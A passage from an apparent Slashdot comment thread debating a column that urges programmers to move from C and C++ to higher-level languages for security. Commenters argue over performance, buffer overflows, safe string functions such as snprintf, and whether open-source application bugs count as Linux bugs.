      And once you've programmed in a dozen languages, picking up another one is never that hard. Learning APIs is the tough bit.

      --
      GCHQ Quantum Insert installed. If only our tongues were made of glass, how much more careful we would be when we speak
    19. Re:Ignoring certain realities by jgardn · · Score: 1
      I think it has to do with comfort and laziness. I've been programming in C/C++ for over 15 years, so obviously, if I have a programming task to tackle, I will lean towards using those languages. I can do a minimal amount of vb, so if I need to slap together a ui, I can, but not anything that did anything interesting. If I have a task, how much time should I spend learning a new language if that language is better suited for the task than a language I know? Since I'm new to this language, how much worse is the code going to be than what I could have written in a less suitable language?


      There are other platforms than Microsoft. Microsoft tries to make programming apps that do something useful next to impossible.

      Give another platform a go. You'll be surprised to learn that learning Python, or perl is actually much easier than learning VB. My background in C and C++ allowed me to pick up perl in a few weeks and Python in a few less.
      --
      The radical sect of Islam would either see you dead or "reverted" to Islam.
  16. comparison is unfair by Kunta+Kinte · · Score: 1

    This comparison is unfair.

    He's comparing all the vunerabilities in open source programs that he found has been released in a period of time and calls them 'linux' bugs.

    Those programs have nothing with the linux kernel. Other than they can be run on it.

    Do you want to compare that list with every program from every vendor that codes for microsoft windows. On a hunch, I'd say it's a lot higher.

    --
    Based on upvotes, Ageism is the only "-ism" Slashdotters care about and think isn't SJW
    1. Re:comparison is unfair by stratjakt · · Score: 1

      Those programs have nothing with the linux kernel. Other than they can be run on it

      And an IIS vulnerability has nothing to do with the NT Kernel, only that it's run on it. So if an IIS or SQL worm can be called a 'windows' bug, then an Apache or mySql one can be called a 'linux' bug, it's only fair.

      But that's splitting hairs.

      His point is valid. Just because the source is open doesn't mean the programmers are any more skilled, although they generally believe they are. That hubris leads to mistakes.

      Open source is great because it can be reviewed by it's peers. Wonderful. But who reviews it? Do you? I know I haven't pored through the source for the SAMBA tarball I just installed on one of my boxes looking for holes.

      Microsoft no doubt has a team of employees who look for vulnerabilities. Linux has a decentralized team of hackers looking for vulnerabilities. In the end, from a 'how good is the code' standpoint, it's pretty much apples and apples.

      There are lots of reasons to like open source (and by extension Linux), but I've never considered "It's super dooper secure!" to be very high among them.

      --
      I don't need no instructions to know how to rock!!!!
    2. Re:comparison is unfair by Nothinman · · Score: 1
      And an IIS vulnerability has nothing to do with the NT Kernel, only that it's run on it. So if an IIS or SQL worm can be called a 'windows' bug, then an Apache or mySql one can be called a 'linux' bug, it's only fair.


      Not really. IIS and MS SQL only run on Windows, Apache and MySQL run on quite a few OSes other than Linux. I personally wouldn't call a MS SQL exploit a "Windows bug" but you'd still be hard pressed to find another environment that it'll cause problems in.


      Microsoft no doubt has a team of employees who look for vulnerabilities


      If that's true, that team is obviously under no obligation to tell anyone when they find them, not even their employers =)


      Open source is great because it can be reviewed by it's peers. Wonderful. But who reviews it? Do you? I know I haven't pored through the source for the SAMBA tarball I just installed on one of my boxes looking for holes.


      Not everyone reads the code, not everyone should. But the fact that you can is a big advantage (I actually had to change something in the Samba src once). You (and most people) rely on the Samba developers to review each other, just like when I see a patch posted on lkml a handfull of people flock to it and say whether the patch looks correct or does stupid things, I would expect the same to happen with Samba.

    3. Re:comparison is unfair by vofka · · Score: 1

      And an IIS vulnerability has nothing to do with the NT Kernel, only that it's run on it. So if an IIS or SQL worm can be called a 'windows' bug, then an Apache or mySql one can be called a 'linux' bug, it's only fair.

      Except for the fact that IIS can only run on windows, where Apache, MySQL, and many other OSS products can run on Linux, Windows, MacOS, *BSD, Solaris etc etc etc... So while it may be fair to say that an IIS bug is a 'windows' bug, I still don't see how it's fair to call a non-linux-kernel bug a 'linux' bug?

      --
      Disclaimer: I meant what I thought, not what I wrote! What? You can't read my Mind? Oh dear!
    4. Re:comparison is unfair by AndrewRUK · · Score: 1

      No, a bug in IIS is a bug in IIS, not a bug in Windows. The fact that IIS only runs on Windows is utterly irrelevant. If it were a Windows bug, it would affect Windows system, but a bug in IIS will only affect systems running IIS.

  17. 2.5G language by Rovaani · · Score: 1

    Last semester I took a Java-programming course and a course on processor architectures. The latter had me doing a simple program on MIPS R3000 assembler.

    This semester I decided to take a C-programming course. At the first lecture the speaker raved about how every possible platform has a C-compiler and how C is 2.5 generation language 2G being assembler and how it was so very good.

    To my complete shock he was right. Comparing to my last semester experience C is much closer to assembler than for example Java.

    I agree with the original article: for the most part you do not need the extreme speed of C. The maount of time you spend with debugging memory leaks and taking care of buffer overflows could be much better spent creating new features or debugging logical flaws. C is great for device drivers or kernel but let's leave it there!

    --
    Karma: Good! Napster: Baad!
    1. Re:2.5G language by usotsuki · · Score: 1

      You can get even closer to ASM with some compilers which let you diddle registers, raw-access memory and I/O ports and call interrupts.

      Turbo C r0x0r!

      That's an absolute *must* if you're writing for CP/M-86, by the way, where there is no Turbo C runtime. *g*

      -uso.

      --
      Dreams, dreams, don't doubt dreams, dreaming children's dreaming dreams. Sailor Moon SS
    2. Re:2.5G language by transient · · Score: 1
      The maount of time you spend with debugging memory leaks and taking care of buffer overflows...

      This diminishes with experience. I write apps for Palm OS, where bare-metal programming is the only logical choice (this is beginning to change with better processors but it's not there yet). I've been programming in C for ten years and I rarely spend more than thirty minutes on memory management errors over the course of an entire release cycle, if at all.

      I haven't done much OOP -- mostly just Objective-C stuff on NeXTSTEP and OS X -- but I can say that memory management is a relevant concern in high-level languages too. It's just a different flavor of memory management, with reference counts and retain/release messages instead of handle locking. Both levels have a "null" concept and its associated dangers.

      Languages have their place and I agree with the article that mail clients and IRC apps probably shouldn't be written in C. Unless, of course, you're writing them for a platform like Palm OS. And let's not forget that someone still has to write your virtual machine. ;-)

      --

      irb(main):001:0>
    3. Re:2.5G language by Shillo · · Score: 1

      I strongly disagree with the article. I can tell you for *sure* that neither my C nor my C++ code suffer from buffer overflows. How do I know? Because I don't use buffers. For a lot of my C code I don't even allocate my memory by hand (I'm a proponent of garbage collection, and yes, it can be done in C); for a lot of my C++ code, I don't even bother - STL handles most of my memory management needs, some strategically placed magic classes handle the rest. Furthermore, most experienced C/C++ programmers also do these kinds of things.

      What's becoming the real issue is that more and more subsystems are getting integrated into larger chunks. On Windows, the integration is a major marketing point, and also an endless source of nightmares, since the systems that work just fine on their own begin to interact in unpredictable and dangerous ways when linked. This is beginning to happen on Linux, with the similar effects; however, most programmers are smart enough to know when the integration gets dangerous.

      Basically, most modern OSes are becoming more complex than we can fathom. Hence the breakage, regardless of the programming language.

      --

      --
      I refuse to use .sig
    4. Re:2.5G language by vrmlguy · · Score: 1
      And let's not forget that someone still has to write your virtual machine. ;-)

      So obviously, we should write everything in Z-code, which runs on possibly the most portable virtual machine ever created.

      --
      Nothing for 6-digit uids?
    5. Re:2.5G language by PiratePTG · · Score: 1
      >Last semester I took a Java-programming course.... This semester I decided to take a C-programming course.... for the most part you do not need the extreme speed of C.

      I can't help but wonder how you would feel if you took C before Java??

      Just because you started with Java instead of a real language, don't fall into the trap of thinking it has better capabilities than one closer "to the metal". If you want a totally secure system, fire up ASM....

      --
      The number 1 problem of working in a cubicle - 23 power cords, 1 outlet...
    6. Re:2.5G language by smallpaul · · Score: 1

      I've been programming in C for ten years and I rarely spend more than thirty minutes on memory management errors over the course of an entire release cycle, if at all.

      First, your experience does not strike me as typical. If it were, there would not be so much anecdotal evidence about huge productivity gains from shifting to Java. (which is actually less productive in many ways, but does memory management right).

      Second, is your code secure? Is anyone actively poking it for buffer overflows etc.? Recall that the overall thread is about security.

      I haven't done much OOP -- mostly just Objective-C stuff on NeXTSTEP and OS X -- but I can say that memory management is a relevant concern in high-level languages too. It's just a different flavor of memory management, with reference counts and retain/release messages instead of handle locking. Both levels have a "null" concept and its associated dangers.

      Objective-C is C. Yes, it is OOP. But that doesn't make it a high level language. It is exceedingly rare to worry about "reference counts" or "retain/release messages" in (e.g.) Python, Java, C# or Python.

  18. Are languages neccessarily the problem? by pldms · · Score: 1

    If coders must use C or C++ for everything, there are tools to make these languages a little less dangerous: WireX's StackGuard and FormatGuard come immediately to mind, as do various high-level string libraries.

    This part intrigued me. It seems like most of the issues are with the libraries (libc in particular), not with the languages. Forgive my ignorance here (don't do much C) but IIRC there are safe and unsafe ways to copy strings, for example.

    The author seemed to be advancing a stronger argument (against C and C++) but this suggests a weaker (but still valid) one.

    --
    Slashdot looked deep within my soul and assigned
    me a number based on the order in which I joined
  19. This guy doesn't get it. by Omkar · · Score: 3, Insightful

    "In an age where processing power is cheap, there's no excuse for a mail client written in C or C++."
    This sounds like Microsoft's philosophy - bloat because we can afford to.

    1. Re:This guy doesn't get it. by Deacon+Jones · · Score: 1
      Not sure about "bloat" ( I don't write anything detailed in either C/C++ or Java), but I am sure about this:

      Java proggies run slower on my computer than C/C++ proggies. Guranteed. I know that Java speed is a source of flame wars, but as an end user more than a programmer, I can tell you, I always dread downloading something that is a Java util...b/c it will 9/10 times run slower than an equivalent program in another language.

      And, as bad as this sounds, plenty of us will take the security risks and go with speed.

      --
      I pulled a jack move to cop this sig
    2. Re:This guy doesn't get it. by Reinout · · Score: 1

      A higher level language doesn't mean "bloat".

      Bloat means heaping unneeded functionality upon unneeded functionality. I'll assume instead that you'd put the same functionality in the c and in the python/ruby/whatever mail client. So it isn't a fair comparison, "higher level language" = "M$ bloat philosophy".

      Secondly, C is high level compared to assembly or machine code. But everyone programs in C or higher and only uses assembly for the 1% in the code where it does matter (if any). Likewise you could do everything in python and just code the small performance-critical part in C. Parts of python are already programmed themselves in C, like hash tables and xml parsers. So they've probably already taken care of that 1% of your code that could benefit from C.

      Likewise, people are calling xml (with all those tags) bloat compared to a binary format. On the one hand you can compress it (into binary...) like there's no tomorrow. On the other hand it is needless optimisation to try to squize half a kilobyte of an xml message when you're downloading 3 iso's full of movies at the same time. Optimise where needed.

      Reinout

    3. Re:This guy doesn't get it. by dasmegabyte · · Score: 1

      Actually, this sounds like a catch-22 on your part as well. "Bloat is bad even if it brings security. We need to have the most heavily optimized applications possible, so we can run them on obsolete hardware."

      I think you can run Linux on a machine that doesn't have a 33 MHz bus, man. If you tell your boss that a $300 processor and memory upgrade will allow you to use a free application that'll keep company records and email secure, I'm pretty sure he'll open his wallet.

      --
      Hey freaks: now you're ju
    4. Re:This guy doesn't get it. by fitten · · Score: 1

      Nope.... It's about using extra computer resources to make sure that things work right, even when faced with someone trying to not make it work right. One part of having more CPU power is being able to use that CPU power for things that we wished we could have in the past, but couldn't because we didn't have cycles to spare - sometimes in the form of features (bloat) or sometimes in the form of stability, easier to understand code (remember, *especially* in OSS, other people will need to be able to look at your code and understand it - readable/understandable code is one of the main primaces for peer review).

      As the user said, 10% slowdown on many apps isn't that big of a deal if you are spending that 10% making sure that it can't be hacked or used to spread virii. Going from 10 seconds to 11 seconds to do some task is hardly noticable. Granted, going from 200 to 220 seconds may actually be noticable, but when you get to going from 60 minutes to 66 minutes, it will probably again not be noticable (unless you have some quota to meet) because you would have planned to do other things during that time anyway and would have come back to the task when you were ready to deal with it again - often after the task had already been completed for a while.

      There is a time and place to have code run at the most optimum speed possible just as there is a time and place to have code run as secure as possible. Knowing when and where for each is a part of being a programmer as opposed to just being a hack.

    5. Re:This guy doesn't get it. by smallpaul · · Score: 1

      This sounds like Microsoft's philosophy - bloat because we can afford to.

      Actually, his philosophy is "slightly reduced performance for security's sake." Doesn't sound like Microsoft at all, does it? Or maybe it does...that's surely part of the .NET CLR vision. It would be sad if they moved ahead and the open source world was too stuck in its habits to keep up. I don't think that's the case though: the open source world has lots of high level languages and they are starting to catch on even for serious development.

    6. Re:This guy doesn't get it. by blancolioni · · Score: 1

      So security is bloat now? My, we've come a long way.

    7. Re:This guy doesn't get it. by mbbac · · Score: 1

      Using a higher level language doesn't equate to bloat. Mozilla is bloated. Tomcat is not.

      --

      mbbac

    8. Re:This guy doesn't get it. by Watts+Martin · · Score: 1

      Actually, I think he does get it. We just tend to resist the message.

      For years I used to be one of the folks who lamented "bloat" in programs, pointing back at the fairly capable word processor I used on my TRS-80--AllWrite!, far more powerful than many of the "lite" GUI challengers out there now--that did so much with 48K of RAM and 150K or so of disk space.

      But the thing is, if you actually work out the numbers, AllWrite was taking up more of that Trash-80's resources than Word does on even a relatively modern PC. (This is presuming the TRS-80 even had a hard drive, of course, to let the disk space comparison be meaningful.) If you compare early PC word processors like WordPerfect, taking up 1M of your 20M hard drive (5%) versus all of Microsoft Office taking up 230M of your 20G hard drive (1.2%), the difference is even more dramatic. Proportional to actual available resources, software size is decreasing.

      This isn't a comfortable observation for most Unix guys, and it's true that it's not an excuse to write sloppy, wasteful code. But fear of bloat just isn't a good reason not to use high-level programming resources. When a programmer cries, "That'll add an extra ten megs of libraries! Can we afford that space?", if this program is going to be run on a typical workstation or server environment (rather than an embedded system), the sensible reply is, "Of course we can."

    9. Re:This guy doesn't get it. by Sentry21 · · Score: 1

      This sounds like Microsoft's philosophy - bloat because we can afford to.

      Not bloat at all. It's using a language with less optimized compilers, and they're only less optimized right now. That being said, unlike Microsoft's software, you're trading off for something - security, and, in large part, rapid development - Java lets me do some things faster than standard C does - strings don't need bounds checking, for example, in Java, but in C, I have to bounds check my code manually, or use another library. It's a fair tradeoff to me.

      --Dan

    10. Re:This guy doesn't get it. by Anonymous Coward · · Score: 0

      I remember downloading a tool for Windows 3.1 that would tell you the speed of your CPU.

      The .zip file was over 700k.

      THAT'S bloat.

  20. C & Perl by Rovaani · · Score: 1

    I believe Perl is so liked because it gives the programmer a similar level of freedom than C when coding applications, but removes the tedious dynamic memory allocation and buffer overflow preventation.

    --
    Karma: Good! Napster: Baad!
  21. I agree! by GreatOgre · · Score: 0

    If I had my moderators points, I'ld mod you up.

  22. The fault is not in perr-review... by Ooblek · · Score: 1
    Actually, the bugs are coming out because use of the software is increasing. The more the software is used, the more the different code paths are traveled in varying ways. When a particular code path or set of input data is invalid, then you can find the bug. You can peer-review all you want, but no one can find 100% of all bugs. You can only fix bugs you know about.

    If anyone has ever written a piece of software, they should be able to tell you that they always found bugs while the software was in production. Commercial software houses often try to recreate random environments by having a variety of computers configured in a variety of ways so that these types of unknown issues might get caught. This is fairly random, but it can work to some extent. Does this mean that all in-production software systems should or will be defect free? Not at all.

    There will be people out there that will argue that in-depth analysis of all algorithms and code paths should be done before software is written. This is not very practical since much of a problem domain is unknown when the software to solve the problem is written. Like if you ever interview for Microsoft, they always throw that proof question at you as if it is going to reflect in any way on your skills. I've thought that this is why they have so many problems. They hire the people who can solve a problem when the entire domain of the problem is known, as when the information in these proof questions is presented. The problem here, however, is that the problem domain for software changes as the software is being implemented. You also miss out on people who think outside of the problem domain to see if there are certain situations that can invalidate the facts of the given problem domain.

  23. Are he forgetting? by runswithd6s · · Score: 1
    ...about the recent paper detailing the cracking of a JVM?

    Of course he is, because that would make the article larger in focus than what he wants, which is to push buttons. C may be a riskier language than some, but even the big-dog interpreted languages have their own problems.

    --
    assert(expired(knowledge)); /* core dump */
  24. PLEASE IGNORE by Anonymous Coward · · Score: 0

    This was meant to be a main reply, not one to this comment.

  25. Very little would change by WeaponOfMassDestruct · · Score: 1

    I agree with the author in that choosing C or C++ over Java, PHP, or some other modern language today doesn't make a lot of sense. Not that there aren't legitimate reasons to use C, but I think it's reasonable to take the approach that when starting a new project we'd assume that a modern language is the way to go until we can justify using a lower-level language for performance, or other reasons.

    However, I'm not sure that using Java-based apps would decrease the instances of security holes. Building security into applications is still inherently hard to do, no language can completely isolate the programmer from having to think and design for security and there will never be a sudden epiphany by every developer in the world that they have to spend time on security when they have deadlines to meet.

    --
    --- We have a pool and a pond, the pond would be good for you.
  26. Re:Theo by Anonymous Coward · · Score: 0

    C removes the processor specific nature of Assembler and is Good. C++ is the beginning of Bad. Coders who can't hack C probably shouldn't be. Depending on a higher level language just means depending on those who maintain the code for that language or languages. People who use Perl are dependent on both the coding quality of the Perl engine itself and the C libraries that it is built from.

  27. HLL's are NOT a substitute for secure programming by lildogie · · Score: 3, Insightful

    Please, spare me from the armchair drivel of these SecurityFocus columnists! (Okay, I should spare myself, but I'm compelled to comment.)

    The thrust of the article is that most programmers are not skilled enough to write secure code, so they should be using HLL's that do the security for them, and leave C/C++ code to the "experts."

    Hogwash.

    Repeat after me: Security is a process, not a product. HLL's can be misused just as effectively as LLL's.

    Back to this columnist's soapbox rant. It ends up reveling in an admittedly fallacious comparison:

    > Real programmers manipulate the system at the lowest possible level,
    > for the maximum possible effect.

    I'll accept that, in the diversity of programmers, there are some that are writing insecure code. But stereotyping of this sort is an act of the columnist. Even if there are some programmers who adopt this stereotype, they do not nearly comprise the entire population. The existence of many professional, responsible programmers is completely discounted by the columnist.

    > The fallacy of the comparison should be obvious...(
    > I think it's safe to say that programmers spent less time at
    > self-criticism than pilots.)...

    It's safe to say in the one-way communication of the columnist's world. It's safe to say when your profession is to write sassy, not-too-verifiable copy. It's safe to say if you don't have to have your article vetted by fact-checkers.

    > It would be nice if we could expect that our programmers would act
    > more like airline pilots than fighter pilots: that they acknowledge,
    > and accept, the responsibility that they take for the well-being of
    > others. Until they take this step, I doubt that the quality and
    > security of the code that we all rely on will improve.

    Here the columnist exercises the same comparison he recognized as fallacious. Programmers are not pilots. Not airline pilots, not fighter pilots. While I believe there is a need for the computing industry to move towards more responsibility for security, focusing just on C/C++ programmers will not do the job. There is plenty of improvement to be made by the end users, and the columnists as well!

    > There is also a macho streak in programmers:

    There's a macho streak in this columnist who disparages professions that he probably hasn't been participating in as of late.

    Pfft!

  28. Re:[is] he forgetting? by runswithd6s · · Score: 0

    ...grammar take two.

    --
    assert(expired(knowledge)); /* core dump */
  29. Problems by evilviper · · Score: 2, Informative

    Well, he wants everyone to write everything in perl, except for the fact that he brings up, that perl is just as insecure itself.

    So what will everything be written in??? Every part of the OS in java? Nevermind the performance, and the lack of a good, Open Source JVM/JDE.

    If you want secure programs, start putting strong-typing, and other security measures into GCC. You can't have a string overflow if GCC checks everywhere data is input, and makes sure the input can be no longer than the string...

    A bit different, but it deserves to be mentioned that OpenBSD 3.3 (which will be released VERY soon-already tagged), has numerous protections as described here, by Theo. Yes, that's right... OpenBSD has been doing the job before Lasser even lifted a finger to complain.

    --
    Slashdot gets worse every day... Pipedot: News for nerds, without the corporate slant
  30. Too Busy for Secure Code, Unfortunately by grokBoy · · Score: 3, Insightful
    "Why do we still see these bugs?"

    Well, perhaps its because of one of the following reasons:

    1) Too many programmers aren't granted adequate debugging time by companies who'd rather get any code to market on time rather than test it thoroughly and miss deadlines.
    2) How many programmers do you know who actually know how to audit code for security issues? How many companies are going to invest time and effort (and money) in hiring these people (or training their own?)
    3) As people learn new languages, do they learn secure practices too? No, they learn how to write functional code. For some, thats enough to get the job done.

    "In an age where processing power is cheap, there's no excuse for a mail client written in C or C++."

    How about portability? Or efficiency? Or the fact that the guys writing the code would rather work on the mail client than go and learn a new language first? If they are writing bad code in a language they have been using for years, why move the problem to an area where they have even less expertise?

    Writing secure code is a black art to many, and we can only hope that peer review and open source will help to spread the word amongst today's developers.

    1. Re:Too Busy for Secure Code, Unfortunately by nosferatu-man · · Score: 1

      Portability? In C? Are you joking?

      What's the last C project of significant size that compiled and ran without changes on more than one platform? Why do you think GNU autoconf exists? Just for kicks? The reason so much software is written in C is ubiquity, not portability.

      'jfb

      --
      To spur "enterprise Linux," Big Bang, the distributed two-phase commit.
  31. Hahahaha by I+Am+The+Owl · · Score: 1

    Jack really brings the morons outta the woodwork for everyone to see. Like a duck call that works on idiots, I suppose.

    --

    --sdem
  32. Re:So true MOD PARENT UP by Anonymous Coward · · Score: 0

    Spot on. I've been a coder for 20+ years, cutting my teeth on VAX back in the good days and I couldn't agree more!

  33. Bullshit? by Carewolf · · Score: 1

    Another guy that doesnt know what his talking about, because he has a Microsofty point of view.

    What does he mean that the speed of an emailprogram is not important? What kind of bullshit is that? Email programs are database like programs that sometimes deal with huge amounts of data. (My email-archive is several times larger than my databases). The problem with email programs is infact that they start small and efficiency is not considered, and then when developers start using them for real they start choking on 3000 messages per day and 600Mbytes archive of linux-kernel in your inbox.

    The people who using Linux on desktop(for real), are not the same people that uses Microsoft on the desktop. The workloads are different and in many cases especially mail-programs, every bit of performance matters because it is already horribly slow.

    1. Re:Bullshit? by Carewolf · · Score: 2, Insightful

      Bad style to reply to your own comment, but what the hell.

      In my previous comment my arguments for calling the article bullshit was a bit weak. Here are some more:
      1. The programs and security-flaws he mentions are stuff like: linux kernel, openssl and mysql.
      2. He proposes to solve the problem by using higher level (and he admits: slower) programming languages.
      3. So is he suggesting to write the Linux kernel in Java, OpenSSL in Perl and an database in Visual Basic?

      What is this guy smoking, and can I have some?

    2. Re:Bullshit? by leviramsey · · Score: 1
      Another guy that doesnt know what his talking about, because he has a Microsofty point of view.

      This is Jon Lasser, who wrote one of the best hardening scripts for Linux (Bastille). Methinks you know not what you're talking about (or that IHBT, but whatever).

    3. Re:Bullshit? by Malc · · Score: 1

      No developer could deal with 3,000 messages per day. That would make them a manager, or some hybrid of the two.

      As it is, there is nothing special about Linux people over Windows people when it comes to mailbox sizes. We're a small Windows-only shop and have several people constantly trying to stay below Outlook's 2GB PST file limit. Oh, and then there's the Exchange 5.5 database limit of 16GB (fixed in Exchange 2000 apparently) that is constantly being approached.

      My Outlook PST files are about half GB with several thousand messages. The performance is pretty good.

    4. Re:Bullshit? by Valafar · · Score: 1

      Did you even read the article? Come down off the soap box for a minute, read and THINK.

      From the article:

      " To be sure, some software must continue to be written in lower-level languages: Database servers such as MySQL will inevitably be written in lower-level languages for legitimate performance reasons. And it would be both unlikely and counterproductive for the Linux kernel or the system library to be rewritten in Perl, Java, or Python"

      Read the last line again. The point is not that High Level languages are better or worse than low level languages. The point is that the POTENTIAL for mistakes in low level languages is much higher.

    5. Re:Bullshit? by fitten · · Score: 1

      How about reading the article before you post? It helps prevent foot-in-mouth disease.

      "And it would be both unlikely and counterproductive for the Linux kernel or the system library to be rewritten in Perl, Java, or Python."

  34. Not just libraries these days... by Tom7 · · Score: 1

    > This part intrigued me. It seems like most of the issues are with the libraries (libc in particular), not with the languages.
    > Forgive my ignorance here (don't do much C) but IIRC there are safe and unsafe ways to copy strings, for example.

    Though the libraries are partially at fault (printf is a big one), it's not just strcpy any more. It's easy to grep source code for unsafe library functions and replace them. Buffer overflows these days are usually in programmer-written parsing routines (recent sendmail bug), and other bugs like integer overflow (sshd, sunrpc, etc.) and double-free (zlib) are also manifested independently of the libraries.

    He's right, though: a safe language like O'Caml, SML, or Java would make these bugs impossible to make. Writing code in a higher-level language also gives the programmer more time to work on other important things, like the security holes that a compiler can't block automatically! O'Caml and SML (depending on the compiler), for their part, are pretty fast and lean too.

  35. Right idea, wrong solution by vrmlguy · · Score: 1

    You said it yourself: "Neither programmers nor system administrators like diversity in the underlying environment: it makes debugging much more difficult." So, the solution isn't to switch en masse to Java or Perl; the solution is to make it harder to write insecure code in gcc. No one should be using sprintf anymore, so why doesn't its use triggers a warning of some sort? For instance, have libc only export "unsafe_sprintf", and have stdio.h #define sprintf to that *and* emit a #pragma warning each time it's used.

    --
    Nothing for 6-digit uids?
    1. Re:Right idea, wrong solution by Anonymous Coward · · Score: 0

      Not use sprintf? Not even for building a SQL query string to be passed to PQquery( ) using internal variable data (ie. SELECT * FROM statdata WHERE name ='x'; where 'x' is one of a list of name strings you're looping through)? Seriously.
      How am I supposed to build that query, or one that does an insert based on data pulled from /proc//stat file (or any other semi-secure data source)? This is -C-, you can't just embed variables into a string like you can in fucking Perl, you have to "stringify" the entire expression.

      See, (sf)print(f) are safe so long as you properly vet your data first, and ensure a large enough buffer is allocated.

      "don't use it's dangerous!"
      Fuck that noise. I'll use what I need to use.

    2. Re:Right idea, wrong solution by synx · · Score: 1

      sprintf is dangerous, you shouldn't use it, even if you need to do what you described.

      What you want is snprintf(). Buffer overflows are impossible with snprintf(). Hell snprintf is what sprintf should have been from the very start.

      I guess you also like 'gets()' as well, no doubt?

    3. Re:Right idea, wrong solution by sir99 · · Score: 1

      I could have sworn that Linux's ld complained if you linked a program that used sprintf, but it doesn't appear to in my testing. Not sure where I saw that. Maybe it's an option somewhere.

      --
      The ocean parts and the meteors come down
      Laid out in amber, baby.
  36. Hmn. by Eudial · · Score: 1

    Nobody is perfect, if you want all that secure code: Write it yourself.

    --
    GAAH! MY PRINTER IS ON FIRE!!! PUT IT OUT! PUT IT OUT!
  37. I Concur! by YetAnotherName · · Score: 1

    I routinely get into "discussions" with old coworkers about how I can possibly stand my job, which is largely Java-related. It's plenty fast for my tasks (I'm not streaming video), and pretty darn secure. I just sort of sit back and smirk as they rip what little hair remains from their heads struggling to figure out why the vtable gets corrupted on a certain long-lived object but only after an uncertain number of events.

    Moreover, my productivity is three times better than with C/C++. (Measured back when I used to have to do Personal Software Process stuff.)

    Yes, it's fun to twiddle bits and trap into kernel space by hand sometimes, but dammit, I've got deadlines. I've got to focus on the application if I want to get paid.

  38. I beg to differ by truth_revealed · · Score: 1

    The article's author states:
    For users accessing mail via IMAP or POP, network speed and congestion have a greater influence over performance than anything done on the client side; even for users with local mailboxes, I doubt that we're looking at a huge performance hit.

    I beg to differ. I use email a lot - as do most people. I need it to be lightning quick in handling multi-megabyte local mailboxes. Basically, he could not have thought of a worse example of where performance supposedly does not matter since modern email repositories resemble databases these days. I am not willing to give up performance for perceived security in this area. Yes, that's right - performance and ease of use are every bit as important as security. Security for security's sake is simply not good enough. Users expect more - they expect both security and performance. You cannot give them less than what they already have. If the C or C++ code has a flaw - you fix it - it's that simple. OpenBSD has been doing this for years. Yes, it takes extra work - but the results are well worth it. Just don't give me this crap that my critical applications have to written in some interpreted or sandboxed computer language which takes up 4 times the memory and runs at less than half the speed all just for supposed security's sake. Show me this magical machine that can make all interpretted code run lighting fast and I will show you a machine that can run twice as many compiled applications over three times faster.

    1. Re:I beg to differ by Jay+L · · Score: 1

      Basically, he could not have thought of a worse example of where performance supposedly does not matter since modern email repositories resemble databases these days.

      Amen! For example, AOL's new AOL Communicator, which I believe is based on the interesting but weighty Mozilla Mail component, downloads mail from an IMAP server *5 times* as slowly as Outlook Express, and has slower list boxes as well.

    2. Re:I beg to differ by dubl-u · · Score: 1

      I beg to differ. I use email a lot - as do most people. I need it to be lightning quick in handling multi-megabyte local mailboxes.

      And what evidence do you have that, say, a Java app would be visibly slower than something written in C?

      Even assuming that the C and Java are equivalently well-written, dealing with multi-megabyte mailboxes will be primarily an I/O issue unless you have enough RAM that you're keeping it it all cached.

      But probably they won't be equivalently well-written. Many studies demonstrate that productivity in LOC is about the same no matter the language, so the higher a level you work at, the more productive you are. One poster in this thread mentioned that his productivity more than doubled switching from C/C++ to Java.

      So given developers of equivalent quality, it would seem to me that the time spend tracking down weird memory errors is better spent on running a profiler and doing optimization. I do mainly server-side stuff, and I'm confident that given the same level of resources, I can build a faster app in Java than a team working in C/C++. If there's something where Java is really too slow, I can always recode that critical 1% of the code in C.

      If the C or C++ code has a flaw - you fix it - it's that simple.

      If it's that simple for you, then there are a lot of projects out there that could use your help. But given the number of bug reports I see, it appears to be less simple than you think.

  39. The problem is... by robbo · · Score: 1

    most of the most serious vulnerabilities (in things like the kernel, tcp stacks, libc, high-traffic web servers, etc), *need* to be written in a low-level language for reasons of efficiency. While I agree that it probably makes sense to re-implement lpd in perl or python or whatever, we will always need core services to be written "close to the metal".

    That being said, I think ANSI should revisit printf and find a way to fix it. Any compiler can do a good job at type checking, and it should be possible to print without all the % madness.

    --
    So long, and thanks for all the Phish
  40. Comments on the page . . . by xyrw · · Score: 1

    Anyone else read the comments on the page?

    This is the most idiotic text i have ever read. Next time you lack a topic to write about, by all means drop a note to bugtraq, i'm sure that collectivelly we can come up with something more compelling than this mindless rambling of fighter pilots and "coders".

    . . . and . . .

    Not sure what exactly you are suggesting would be better than C/C++? Java? PHP? PERL? C#?

    These comments entirely miss the point: I think Lasser's main point is that programmers need to focus more on security instead of being lulled into a false sense of security, and that it is the quality of code and not the tools used that make a system secure.

    A related note on Linux security vs Windows security: yes, Linux is `inherently more secure' than Windows; no, Linux is not inherently secure. (I know most /. readers know this, but there is sometimes the tendency to fall into a `security high ground' trap.)

    In short, carefully consider what Lasser has to say-- he's no fool on the subject of security.

  41. You can, but it's hard, and why would you want to? by Tom7 · · Score: 3, Insightful

    How do you prevent against double-frees ... Use a garbage collector? Integer overflow ... use a package that checks for overflow on each integer op? Bad pointer arithmetic ... disallow it? Force the programmer to check error conditions on system calls ... use exceptions?

    What you're describing, is, in fact, a modern high-level language. Except that if you were to do all this stuff in C, you'd be in such an environment that even the simplest stuff is a pain in the ass... calling special functions or macros to access arrays, etc. Nobody wants to do this, and nobody wants to read code that does -- and that's why nobody does. These high-level safe languages do all this stuff automatically, and transparently, so that you can write clean natural code and it is secure against the most common kinds of holes. Java is an example if you like Object Oriented programming, for my part I like SML.

    Of course it's possible to write bug-free C code. But it's really hard when you are at the scale of even a modest network daemon. Even our best programmers make security bugs when writing in C though (see: Quake I, II, III, Half-Life, Linux Kernel, sshd, ftpd, apache, perl, mozilla, and just about every other software package you think is written by great programmers), so how can we expect the rest of the world to do it?

  42. Secure Programming HOWTO by spydir31 · · Score: 1

    Here's the Secure Programming for Linux and Unix HOWTO, good reading IMHO,
    alternately here.
    (Hopefully on-topic :)

  43. Summary by RadioheadKid · · Score: 1

    C sucks, C++ sucks, PHP sucks, Perl sucks, programmers suck (I'm not a programmer, but trust me they suck) and there may be tools to make them not suck, about which I know nothing so I'll just use this lame-ass fighter pilot analogy instead. Vote Quimby.

    --
    "Karma can only be portioned out by the cosmos." -Homer Simpson
  44. Re:Theo by enomar · · Score: 1

    Isn't C dependant on the quality of the compiler and/or the OS system calls it makes? Following your logic, I can only write secure code in machine code.

    --

    :wq
  45. Re:Your sig (OT) by Shadowlion · · Score: 1

    That sort of sentiment is why disarmament and other peaceful processes get stopped in their tracks. One must make a moral committment to voluntary action towards peace.

